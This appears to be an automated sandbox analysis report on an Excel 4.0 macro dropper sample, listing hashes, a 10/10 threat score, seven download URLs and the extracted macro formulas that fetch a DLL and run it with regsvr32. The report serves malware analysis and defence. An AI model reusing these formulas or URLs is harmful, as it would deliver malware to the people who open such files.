General

  • Target

    08a71d6cb15ed00e14fe984f376d349349b4ddba84e71f203401a30449a6da4e

  • Size

    30KB

  • Sample

    241120-r1plbsspgk

  • MD5

    77c8e3639877c2afab14dd08847066d6

  • SHA1

    d2194347313ec490ab4dfb474157b171d65668ad

  • SHA256

    08a71d6cb15ed00e14fe984f376d349349b4ddba84e71f203401a30449a6da4e

  • SHA512

    ee5969502d5d9384ff3e562f22886017e59a24acae7303fcaa81169594f399d4715dd83448dc9f445db37b8f2ffc9c51524369c4ab933ffdedf541e9a094c6cd

  • SSDEEP

    384:r842JZPFhNjtOA7icg0SCdiVH2KgUrNU/qWhZOdBNPJM+kqr9eCgh0k5M2E6v:cHFhNZliH2ydFfPdkqstJhE6v

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://henrysfreshroast.com/6cc4ts0bkrOlXq/

http://consejosdeorlando.com/wp-includes/jxTbRk2DgQOIOyokR/

http://blog.centerking.top/wp-includes/DBq5jx/

http://polarrefrigeracao.com.br/fontes/y7QpO/

http://filmsetserie.dx.am/img/ghCY9J5KD1J/

https://vagbharati.in/wp-admin/nYBb/

http://advogadogoiania.com.br/wp-includes/O9Az4/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/6cc4ts0bkrOlXq/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/jxTbRk2DgQOIOyokR/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/DBq5jx/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://polarrefrigeracao.com.br/fontes/y7QpO/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://filmsetserie.dx.am/img/ghCY9J5KD1J/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vagbharati.in/wp-admin/nYBb/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://advogadogoiania.com.br/wp-includes/O9Az4/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://henrysfreshroast.com/6cc4ts0bkrOlXq/

Targets

    • Target

      08a71d6cb15ed00e14fe984f376d349349b4ddba84e71f203401a30449a6da4e

    • Size

      30KB

    • MD5

      77c8e3639877c2afab14dd08847066d6

    • SHA1

      d2194347313ec490ab4dfb474157b171d65668ad

    • SHA256

      08a71d6cb15ed00e14fe984f376d349349b4ddba84e71f203401a30449a6da4e

    • SHA512

      ee5969502d5d9384ff3e562f22886017e59a24acae7303fcaa81169594f399d4715dd83448dc9f445db37b8f2ffc9c51524369c4ab933ffdedf541e9a094c6cd

    • SSDEEP

      384:r842JZPFhNjtOA7icg0SCdiVH2KgUrNU/qWhZOdBNPJM+kqr9eCgh0k5M2E6v:cHFhNZliH2ydFfPdkqstJhE6v

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks